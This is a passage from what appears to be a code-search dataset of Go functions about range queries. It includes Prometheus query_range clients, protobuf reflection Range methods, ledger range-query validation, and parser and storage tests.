safety, limit the number of returned points per timeseries.\n\t// This is sufficient for 60s resolution for a week or 1h resolution for a year.\n\tif duration/step > 11000 {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(errors.New(\"exceeded maximum resolution of 11,000 points per timeseries. Try decreasing the query resolution (?step=XX)\")))\n\t\treturn\n\t}\n\n\t// Align the start to step \"tick\" boundary.\n\tend = end.Add(-time.Duration(end.UnixNano() % int64(step)))\n\n\tqueryStats := stats.NewTimerGroup()\n\n\tmatrix, err := ast.EvalVectorRange(\n\t\texprNode.(ast.VectorNode),\n\t\tend.Add(-duration),\n\t\tend,\n\t\tstep,\n\t\tserv.Storage,\n\t\tqueryStats)\n\tif err != nil {\n\t\tfmt.Fprint(w, ast.ErrorToJSON(err))\n\t\treturn\n\t}\n\n\tsortTimer := queryStats.GetTimer(stats.ResultSortTime).Start()\n\tsort.Sort(matrix)\n\tsortTimer.Stop()\n\n\tjsonTimer := queryStats.GetTimer(stats.JSONEncodeTime).Start()\n\tresult := ast.TypedValueToJSON(matrix, \"matrix\")\n\tjsonTimer.Stop()\n\n\tglog.V(1).Infof(\"Range query: %s\\nQuery stats:\\n%s\\n\", expr, queryStats)\n\tfmt.Fprint(w, result)\n}", "func (c *BcsMonitorClient) QueryRange(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s?%s\", c.opts.Endpoint, QueryRangePath, queryString)\n\turl = c.addAppMessage(url)\n\theader := c.defaultHeader.Clone()\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRange\", \"GET\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"GET\", header, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func (c *BcsMonitorClient) QueryRange(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s?%s\", c.completeEndpoint, QueryRangePath, queryString)\n\turl = c.addAppMessage(url)\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRange\", \"GET\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"GET\", c.defaultHeader, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func (m *MockprometheusInterface) QueryRange(query string, step Step, stepVal int) (int, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryRange\", query, step, stepVal)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (s *VMStorage) QueryRange(ctx context.Context, query string, start, end time.Time) (res Result, err error) {\n\tif s.dataSourceType != datasourcePrometheus {\n\t\treturn res, fmt.Errorf(\"%q is not supported for QueryRange\", s.dataSourceType)\n\t}\n\tif start.IsZero() {\n\t\treturn res, fmt.Errorf(\"start param is missing\")\n\t}\n\tif end.IsZero() {\n\t\treturn res, fmt.Errorf(\"end param is missing\")\n\t}\n\treq := s.newQueryRangeRequest(query, start, end)\n\tresp, err := s.do(ctx, req)\n\tif errors.Is(err, io.EOF) || errors.Is(err, io.ErrUnexpectedEOF) {\n\t\t// something in the middle between client and datasource might be closing\n\t\t// the connection. So we do a one more attempt in hope request will succeed.\n\t\treq = s.newQueryRangeRequest(query, start, end)\n\t\tresp, err = s.do(ctx, req)\n\t}\n\tif err != nil {\n\t\treturn res, err\n\t}\n\tdefer func() {\n\t\t_ = resp.Body.Close()\n\t}()\n\treturn parsePrometheusResponse(req, resp)\n}", "func (q *Query) Range(indexName string, start, end interface{}) *Query {\n\t// For an index range search,\n\t// it is non-sensical to pass two nils\n\t// Set the error and return the query unchanged\n\tif start == nil && end == nil {\n\t\tq.err = errors.New(ErrNilInputsRangeIndexQuery)\n\t\treturn q\n\t}\n\tq.start = start\n\tq.end = end\n\tq.isIndexQuery = true\n\tq.indexName = []byte(indexName)\n\treturn q\n}", "func (x *fastReflection_QueryParamsRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n}", "func (s *ServerGroup) QueryRange(ctx context.Context, query string, r v1.Range) (model.Value, v1.Warnings, error) {\n\treturn s.State().apiClient.QueryRange(ctx, query, r)\n}", "func (t *FenwickTreeSimple) QueryRange(i, j int) int {\n\treturn t.Query(j) - t.Query(i-1)\n}", "func (q *ColumnQueryAPI) QueryRange(ctx context.Context, req *pb.QueryRangeRequest) (*pb.QueryRangeResponse, error) {\n\tif err := req.Validate(); err != nil {\n\t\treturn nil, status.Error(codes.InvalidArgument, err.Error())\n\t}\n\n\tres, err := q.querier.QueryRange(ctx, req.Query, req.Start.AsTime(), req.End.AsTime(), req.Step.AsDuration(), req.Limit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &pb.QueryRangeResponse{\n\t\tSeries: res,\n\t}, nil\n}", "func (v *Validator) validateRangeQuery(ns string, rangeQueryInfo *kvrwset.RangeQueryInfo, updates *statedb.UpdateBatch) (bool, error) {\n\tlogger.Debugf(\"validateRangeQuery: ns=%s, rangeQueryInfo=%s\", ns, rangeQueryInfo)\n\n\t// If during simulation, the caller had not exhausted the iterator so\n\t// rangeQueryInfo.EndKey is not actual endKey given by the caller in the range query\n\t// but rather it is the last key seen by the caller and hence the combinedItr should include the endKey in the results.\n\tincludeEndKey := !rangeQueryInfo.ItrExhausted\n\n\tcombinedItr, err := newCombinedIterator(v.db, updates,\n\t\tns, rangeQueryInfo.StartKey, rangeQueryInfo.EndKey, includeEndKey)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer combinedItr.Close()\n\tvar validator rangeQueryValidator\n\tif rangeQueryInfo.GetReadsMerkleHashes() != nil {\n\t\tlogger.Debug(`Hashing results are present in the range query info hence, initiating hashing based validation`)\n\t\tvalidator = &rangeQueryHashValidator{}\n\t} else {\n\t\tlogger.Debug(`Hashing results are not present in the range query info hence, initiating raw KVReads based validation`)\n\t\tvalidator = &rangeQueryResultsValidator{}\n\t}\n\tvalidator.init(rangeQueryInfo, combinedItr)\n\treturn validator.validate()\n}", "func QueryRanged(baseURL string, timeout time.Duration, expression string, start time.Time, end time.Time, step int, outMatrix interface{}) error {\n\treturn queryAPI(baseURL, \"/api/v1/query_range\",\n\t\tmap[string]string{\n\t\t\t\"query\": expression,\n\t\t\t\"start\": start.Format(time.RFC3339),\n\t\t\t\"end\": end.Format(time.RFC3339),\n\t\t\t\"step\": strconv.FormatInt(int64(step), 10),\n\t\t},\n\t\ttimeout, RangedVector, outMatrix)\n}", "func (x *fastReflection_QueryAccountsRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Pagination != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Pagination.ProtoReflect())\n\t\tif !f(fd_QueryAccountsRequest_pagination, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryParamsResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Params != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Params.ProtoReflect())\n\t\tif !f(fd_QueryParamsResponse_params, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryAccountRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Address != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Address)\n\t\tif !f(fd_QueryAccountRequest_address, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func AttemptRangeQuery(quest string, low, high uint32) *GraphQuery {\n\treturn &GraphQuery{\n\t\tAttemptRange: []*GraphQuery_AttemptRange{{Quest: quest, Low: low, High: high}}}\n}", "func (x *fastReflection_QueryAccountInfoRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Address != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Address)\n\t\tif !f(fd_QueryAccountInfoRequest_address, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (q *Query) Range(from, to time.Time) *Query {\n\tq.from, q.to = from, to\n\treturn q\n}", "func parseRangeQuery(p *parser) parserStateFn {\n\topTok := p.next() // Already checked to be the range operator token.\n\tvalTok := p.next()\n\tswitch valTok.typ {\n\tcase tokTypeError:\n\t\tp.backup(valTok)\n\t\treturn parseErrorTok\n\tcase tokTypeUnquotedLiteral, tokTypeQuotedLiteral:\n\t\tvar trm term\n\t\tif valTok.typ == tokTypeUnquotedLiteral {\n\t\t\ttrm = newTerm(valTok.val)\n\t\t} else {\n\t\t\ttrm = newQuotedTerm(valTok.val)\n\t\t}\n\t\tif trm.Wildcard {\n\t\t\treturn p.errorfAt(valTok.pos, \"cannot have a wildcard in range query token\")\n\t\t}\n\t\tvar q rpnStep\n\t\tswitch opTok.typ {\n\t\tcase tokTypeGt:\n\t\t\tq = &rpnGtRangeQuery{\n\t\t\t\tfield: p.field.val,\n\t\t\t\tterm: trm,\n\t\t\t\tlogLevelLess: p.logLevelLess,\n\t\t\t}\n\t\tcase tokTypeGte:\n\t\t\tq = &rpnGteRangeQuery{\n\t\t\t\tfield: p.field.val,\n\t\t\t\tterm: trm,\n\t\t\t\tlogLevelLess: p.logLevelLess,\n\t\t\t}\n\t\tcase tokTypeLt:\n\t\t\tq = &rpnLtRangeQuery{\n\t\t\t\tfield: p.field.val,\n\t\t\t\tterm: trm,\n\t\t\t\tlogLevelLess: p.logLevelLess,\n\t\t\t}\n\t\tcase tokTypeLte:\n\t\t\tq = &rpnLteRangeQuery{\n\t\t\t\tfield: p.field.val,\n\t\t\t\tterm: trm,\n\t\t\t\tlogLevelLess: p.logLevelLess,\n\t\t\t}\n\t\tdefault:\n\t\t\tlg.Fatalf(\"invalid opTok.typ=%v while parsing range query\", opTok.typ)\n\t\t}\n\t\tp.filter.addStep(q)\n\t\tp.field = nil\n\t\treturn parseAfterQuery\n\tdefault:\n\t\treturn p.errorfAt(valTok.pos, \"expected a literal after '%s'; got %s\",\n\t\t\topTok.val, valTok.typ)\n\t}\n}", "func (x *fastReflection_QueryAccountResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Account != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Account.ProtoReflect())\n\t\tif !f(fd_QueryAccountResponse_account, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (t *shimTestCC) rangeq(stub ChaincodeStubInterface, args []string) pb.Response {\n\tif len(args) != 2 {\n\t\treturn Error(\"Incorrect number of arguments. Expecting keys for range query\")\n\t}\n\n\tA := args[0]\n\tB := args[0]\n\n\t// Get the state from the ledger\n\tresultsIterator, err := stub.GetStateByRange(A, B)\n\tif err != nil {\n\t\treturn Error(err.Error())\n\t}\n\tdefer resultsIterator.Close()\n\n\t// buffer is a JSON array containing QueryResults\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(\"[\")\n\n\tbArrayMemberAlreadyWritten := false\n\tfor resultsIterator.HasNext() {\n\t\tqueryResponse, err := resultsIterator.Next()\n\t\tif err != nil {\n\t\t\treturn Error(err.Error())\n\t\t}\n\t\t// Add a comma before array members, suppress it for the first array member\n\t\tif bArrayMemberAlreadyWritten == true {\n\t\t\tbuffer.WriteString(\",\")\n\t\t}\n\t\tbuffer.WriteString(\"{\\\"Key\\\":\")\n\t\tbuffer.WriteString(\"\\\"\")\n\t\tbuffer.WriteString(queryResponse.Key)\n\t\tbuffer.WriteString(\"\\\"\")\n\n\t\tbuffer.WriteString(\", \\\"Record\\\":\")\n\t\t// Record is a JSON object, so we write as-is\n\t\tbuffer.WriteString(string(queryResponse.Value))\n\t\tbuffer.WriteString(\"}\")\n\t\tbArrayMemberAlreadyWritten = true\n\t}\n\tbuffer.WriteString(\"]\")\n\n\treturn Success(buffer.Bytes())\n}", "func (x *fastReflection_QueryAccountInfoResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Info != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Info.ProtoReflect())\n\t\tif !f(fd_QueryAccountInfoResponse_info, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryModuleAccountsRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n}", "func rangeQuery(begin, end string) string {\n\tresult := allQuery\n\n\thasBegin := begin != \"\"\n\thasEnd := end != \"\"\n\n\tconst dbDate string = `strftime('%Y%m%d', entered, 'unixepoch', 'start of day')`\n\n\tif hasBegin || hasEnd {\n\t\tresult = result + `WHERE `\n\t\tif hasBegin {\n\t\t\tresult = result + dbDate + ` >= '` + begin + `' `\n\t\t\tif hasEnd {\n\t\t\t\tresult = result + `AND `\n\t\t\t}\n\t\t}\n\t\tif hasEnd {\n\t\t\tresult = result + dbDate + ` <= '` + end + `'`\n\t\t}\n\t}\n\treturn result\n}", "func (c *Client) PromQLRange(\n\tctx context.Context,\n\tquery string,\n\topts ...PromQLOption,\n) (*rpc.PromQL_RangeQueryResult, error) {\n\tif c.grpcClient != nil {\n\t\treturn c.grpcPromQLRange(ctx, query, opts)\n\t}\n\n\tu, err := url.Parse(c.addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tu.Path = \"/api/v1/query_range\"\n\tq := u.Query()\n\tq.Set(\"query\", query)\n\n\t// allow the given options to configure the URL.\n\tfor _, o := range opts {\n\t\to(u, q)\n\t}\n\tu.RawQuery = q.Encode()\n\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq = req.WithContext(ctx)\n\n\tresp, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"unexpected status code %d\", resp.StatusCode)\n\t}\n\n\tvar promQLResponse rpc.PromQL_RangeQueryResult\n\tmarshaler := &runtime.JSONPb{}\n\tif err := marshaler.NewDecoder(resp.Body).Decode(&promQLResponse); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &promQLResponse, nil\n}", "func TestParsing01(t *testing.T) {\n\tvar q = \"-1\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err == nil {\n\t\tt.Errorf(\"Expected Error, (Query: %s) should NOT BE parsed [starts with -]\", q)\n\t}\n}", "func TestStoreExecuteCmdBadRange(t *testing.T) {\n\tstore, _, _ := createTestStore(t)\n\tdefer store.Close()\n\t// Range is from \"a\" to \"z\", so this value should fail.\n\targs, reply := getArgs(\"0\")\n\targs.Replica.RangeID = 2\n\terr := store.ExecuteCmd(\"Get\", &args.RequestHeader, args, reply)\n\tif err == nil {\n\t\tt.Error(\"expected invalid range\")\n\t}\n}", "func (x *fastReflection_QueryAccountsResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif len(x.Accounts) != 0 {\n\t\tvalue := protoreflect.ValueOfList(&_QueryAccountsResponse_1_list{list: &x.Accounts})\n\t\tif !f(fd_QueryAccountsResponse_accounts, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.Pagination != nil {\n\t\tvalue := protoreflect.ValueOfMessage(x.Pagination.ProtoReflect())\n\t\tif !f(fd_QueryAccountsResponse_pagination, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func queryRange(url, user, password, query string, start, end string, step time.Duration) (model.Matrix, error) {\n\tconfig := api.Config{\n\t\tAddress: url,\n\t}\n\n\tif user != \"\" || password != \"\" {\n\t\tconfig.RoundTripper = promhttp.RoundTripperFunc(func(req *http.Request) (*http.Response, error) {\n\t\t\treq.Header.Add(\"Authorization\", \"Basic \"+\n\t\t\t\tbase64.StdEncoding.EncodeToString([]byte(user+\":\"+password)))\n\t\t\treturn http.DefaultTransport.RoundTrip(req)\n\t\t})\n\t}\n\n\tc, err := api.NewClient(config)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create Prometheus client: %v\", err)\n\t}\n\n\tapi := v1.NewAPI(c)\n\tvar stime, etime time.Time\n\n\tif end == \"\" {\n\t\tetime = time.Now()\n\t} else {\n\t\tetime, err = dateparse.ParseAny(end)\n\t\tif err != nil {\n\t\t\tetime, err = datemaki.Parse(end)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error parsing end time: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif start == \"\" {\n\t\tstime = etime.Add(-10 * time.Minute)\n\t} else {\n\t\tstime, err = dateparse.ParseAny(start)\n\t\tif err != nil {\n\t\t\tstime, err = datemaki.Parse(start)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"error parsing start time: %v\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif !stime.Before(etime) {\n\t\tfmt.Fprintln(os.Stderr, \"start time is not before end time\")\n\t}\n\n\tif step == 0 {\n\t\tresolution := math.Max(math.Floor(etime.Sub(stime).Seconds()/250), 1)\n\t\t// Convert seconds to nanoseconds such that time.Duration parses correctly.\n\t\tstep = time.Duration(resolution) * time.Second\n\t}\n\n\tr := v1.Range{Start: stime, End: etime, Step: step}\n\n\tctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute)\n\tval, _, err := api.QueryRange(ctx, query, r) // Ignoring warnings for now.\n\tcancel()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to query Prometheus: %v\", err)\n\t}\n\n\tmetrics, ok := val.(model.Matrix)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"unsupported result format: %s\", val.Type().String())\n\t}\n\n\treturn metrics, nil\n}", "func (qm MergeQuerier) QueryRange(ctx context.Context, from, to model.Time, matchers ...*metric.LabelMatcher) ([]local.SeriesIterator, error) {\n\t// Fetch samples from all queriers in parallel\n\tmatrices := make(chan model.Matrix)\n\terrors := make(chan error)\n\tfor _, q := range qm.Queriers {\n\t\tgo func(q Querier) {\n\t\t\tmatrix, err := q.Query(ctx, from, to, matchers...)\n\t\t\tif err != nil {\n\t\t\t\terrors <- err\n\t\t\t} else {\n\t\t\t\tmatrices <- matrix\n\t\t\t}\n\t\t}(q)\n\t}\n\n\t// Group them by fingerprint (unsorted and with overlap).\n\tfpToIt := map[model.Fingerprint]local.SeriesIterator{}\n\tvar lastErr error\n\tfor i := 0; i < len(qm.Queriers); i++ {\n\t\tselect {\n\t\tcase err := <-errors:\n\t\t\tlastErr = err\n\n\t\tcase matrix := <-matrices:\n\t\t\tfor _, ss := range matrix {\n\t\t\t\tfp := ss.Metric.Fingerprint()\n\t\t\t\tif it, ok := fpToIt[fp]; !ok {\n\t\t\t\t\tfpToIt[fp] = sampleStreamIterator{\n\t\t\t\t\t\tss: ss,\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tssIt := it.(sampleStreamIterator)\n\t\t\t\t\tssIt.ss.Values = util.MergeSamples(ssIt.ss.Values, ss.Values)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif lastErr != nil {\n\t\tlog.Errorf(\"Error in MergeQuerier.QueryRange: %v\", lastErr)\n\t\treturn nil, lastErr\n\t}\n\n\titerators := make([]local.SeriesIterator, 0, len(fpToIt))\n\tfor _, it := range fpToIt {\n\t\titerators = append(iterators, it)\n\t}\n\n\treturn iterators, nil\n}", "func (t *serial) Query(from, to int) []Interval {\n\tresult := make([]Interval, 0, 10)\n\tfor _, intrvl := range t.base {\n\t\tif !intrvl.Segment.Disjoint(from, to) {\n\t\t\tresult = append(result, intrvl)\n\t\t}\n\t}\n\treturn result\n}", "func QueryRangeChunked(ctx context.Context, promConn prom.API, query string, startTime, endTime time.Time, chunkSize, stepSize time.Duration, maxTimeRanges int64, allowIncompleteChunks bool, handlers ResultHandler) (timeRanges []prom.Range, err error) {\n\ttimeRangesToProcess := getTimeRanges(startTime, endTime, chunkSize, stepSize, maxTimeRanges, allowIncompleteChunks)\n\n\tif handlers.PreProcessingHandler != nil {\n\t\terr = handlers.PreProcessingHandler(ctx, timeRangesToProcess)\n\t\tif err != nil {\n\t\t\treturn timeRanges, err\n\t\t}\n\t}\n\n\tif len(timeRangesToProcess) == 0 {\n\t\treturn nil, nil\n\t}\n\n\tfor _, timeRange := range timeRangesToProcess {\n\t\t// check for cancellation\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn timeRanges, ctx.Err()\n\t\tdefault:\n\t\t\t// continue processing if context isn't cancelled.\n\t\t}\n\n\t\tif handlers.PreQueryHandler != nil {\n\t\t\terr = handlers.PreQueryHandler(ctx, timeRange)\n\t\t\tif err != nil {\n\t\t\t\treturn timeRanges, err\n\t\t\t}\n\t\t}\n\n\t\tpVal, err := promConn.QueryRange(ctx, query, timeRange)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to perform Prometheus query: %v\", err)\n\t\t}\n\n\t\tmatrix, ok := pVal.(model.Matrix)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"expected a matrix in response to query, got a %v\", pVal.Type())\n\t\t}\n\n\t\t// check for cancellation\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn timeRanges, ctx.Err()\n\t\tdefault:\n\t\t\t// continue processing if context isn't cancelled.\n\t\t}\n\n\t\tif handlers.PostQueryHandler != nil {\n\t\t\terr = handlers.PostQueryHandler(ctx, timeRange, matrix)\n\t\t\tif err != nil {\n\t\t\t\treturn timeRanges, err\n\t\t\t}\n\t\t}\n\t\ttimeRanges = append(timeRanges, timeRange)\n\t}\n\n\tif handlers.PostProcessingHandler != nil {\n\t\terr = handlers.PostProcessingHandler(ctx, timeRanges)\n\t\tif err != nil {\n\t\t\treturn timeRanges, err\n\t\t}\n\t}\n\treturn timeRanges, nil\n}", "func QueryTimeRange(\n\tquery *influxql.Query, now time.Time) (min, max time.Time, err error) {\n\treturn queryTimeRange(query, now)\n}", "func (c *BcsMonitorClient) QueryRangeByPost(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s\", c.completeEndpoint, QueryRangePath)\n\theader := c.defaultHeader\n\theader.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\turl = c.addAppMessage(url)\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRangeByPost\", \"POST\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"POST\", c.defaultHeader, []byte(queryString))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func (c *BcsMonitorClient) QueryRangeByPost(promql string, startTime, endTime time.Time,\n\tstep time.Duration) (*QueryRangeResponse, error) {\n\tvar queryString string\n\tvar err error\n\tqueryString = c.setQuery(queryString, \"query\", promql)\n\tqueryString = c.setQuery(queryString, \"start\", fmt.Sprintf(\"%d\", startTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"end\", fmt.Sprintf(\"%d\", endTime.Unix()))\n\tqueryString = c.setQuery(queryString, \"step\", step.String())\n\turl := fmt.Sprintf(\"%s%s\", c.opts.Endpoint, QueryRangePath)\n\theader := c.defaultHeader.Clone()\n\theader.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\turl = c.addAppMessage(url)\n\tstart := time.Now()\n\tdefer func() {\n\t\tprom.ReportLibRequestMetric(prom.BkBcsMonitor, \"QueryRangeByPost\", \"POST\", err, start)\n\t}()\n\trsp, err := c.requestClient.DoRequest(url, \"POST\", header, []byte(queryString))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &QueryRangeResponse{}\n\terr = json.Unmarshal(rsp, result)\n\tif err != nil {\n\t\tblog.Errorf(\"json unmarshal error:%v\", err)\n\t\treturn nil, fmt.Errorf(\"do request error, url: %s, error:%v\", url, err)\n\t}\n\treturn result, nil\n}", "func validateFieldRange(r *types.FieldRange) error {\n\tif r == nil {\n\t\treturn nosqlerr.NewIllegalArgument(\"FieldRange is nil\")\n\t}\n\n\tif r.Start == nil && r.End == nil {\n\t\treturn nosqlerr.NewIllegalArgument(\"must specify a Start or End value for FieldRange\")\n\t}\n\n\tif r.Start != nil && r.End != nil {\n\t\tt1 := reflect.TypeOf(r.Start).Kind()\n\t\tt2 := reflect.TypeOf(r.End).Kind()\n\t\tif t1 != t2 {\n\t\t\treturn nosqlerr.NewIllegalArgument(\"FieldRange Start type (%T) is different from End type (%T)\",\n\t\t\t\tr.Start, r.End)\n\t\t}\n\t}\n\n\treturn nil\n}", "func GetRange(beginKey string, endKey string, callback KVDBGetRangeCallback) {\n\tkvdbOpQueue.Push(&getRangeReq{\n\t\tbeginKey, endKey, callback,\n\t})\n\tcheckOperationQueueLen()\n}", "func TestParsing09(t *testing.T) {\n\tvar q = \"%%RANGE\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err != nil {\n\t\tt.Errorf(\"Expected NO Error, (Query: %s) should BE parsed [Top Level Lookup, %, %% etc]\", q)\n\t}\n\n\tr.Execute()\n\tresult, errs := r.Evaluate(store)\n\tvar expected = []string{\"ops-prod\", \"data-prod\", \"data-qa\"}\n\tif len(errs) != 0 || !compare(*result, expected) {\n\t\tt.Errorf(\"Expected NO Evaluate Error, (Query: %s) should BE %s [Got: %s]\", q, expected, *result)\n\t}\n}", "func TestParsing05(t *testing.T) {\n\tvar q = \"%a-b-c%d\"\n\tvar r = &RangeExpr{Buffer: q}\n\tr.Init()\n\tr.Expression.Init(q)\n\terr := r.Parse()\n\tif err == nil {\n\t\tt.Errorf(\"Expected Error, (Query: %s) should NOT BE parsed [contains %%, where not expected]\", q)\n\t}\n}", "func (x *fastReflection_QueryModuleAccountByNameRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Name != \"\" {\n\t\tvalue := protoreflect.ValueOfString(x.Name)\n\t\tif !f(fd_QueryModuleAccountByNameRequest_name, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryAccountAddressByIDRequest) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif x.Id != int64(0) {\n\t\tvalue := protoreflect.ValueOfInt64(x.Id)\n\t\tif !f(fd_QueryAccountAddressByIDRequest_id, value) {\n\t\t\treturn\n\t\t}\n\t}\n\tif x.AccountId != uint64(0) {\n\t\tvalue := protoreflect.ValueOfUint64(x.AccountId)\n\t\tif !f(fd_QueryAccountAddressByIDRequest_account_id, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func (x *fastReflection_QueryModuleAccountsResponse) Range(f func(protoreflect.FieldDescriptor, protoreflect.Value) bool) {\n\tif len(x.Accounts) != 0 {\n\t\tvalue := protoreflect.ValueOfList(&_QueryModuleAccountsResponse_1_list{list: &x.Accounts})\n\t\tif !f(fd_QueryModuleAccountsResponse_accounts, value) {\n\t\t\treturn\n\t\t}\n\t}\n}", "func TestPartitionReader__Range(t *testing.T) {\n\tengine, _ := open(nil)\n\tpart, _ := initPartition(\"test.partition\", engine)\n\n\tb := make([]byte, 100)\n\n\t// Emulate different time points.\n\tpart.Write(1, b)\n\tpart.Write(3, b)\n\tpart.Write(5, b)\n\n\tvar (\n\t\tn int\n\t\terr error\n\t\tr *partitionReader\n\t)\n\n\tbuf := make([]byte, 1000)\n\n\t// Upper bound\n\tr = part.Reader(0, 2)\n\n\tassert.Equal(t, r.index, 0)\n\tassert.Equal(t, r.stop, 1)\n\n\tn, err = r.Read(buf)\n\n\tassert.Equal(t, 100, n)\n\tassert.Equal(t, io.EOF, err)\n\n\t// Lower bound\n\tr = part.Reader(2, 0)\n\n\tassert.Equal(t, r.index, 1)\n\tassert.Equal(t, r.stop, 3)\n\n\tn, 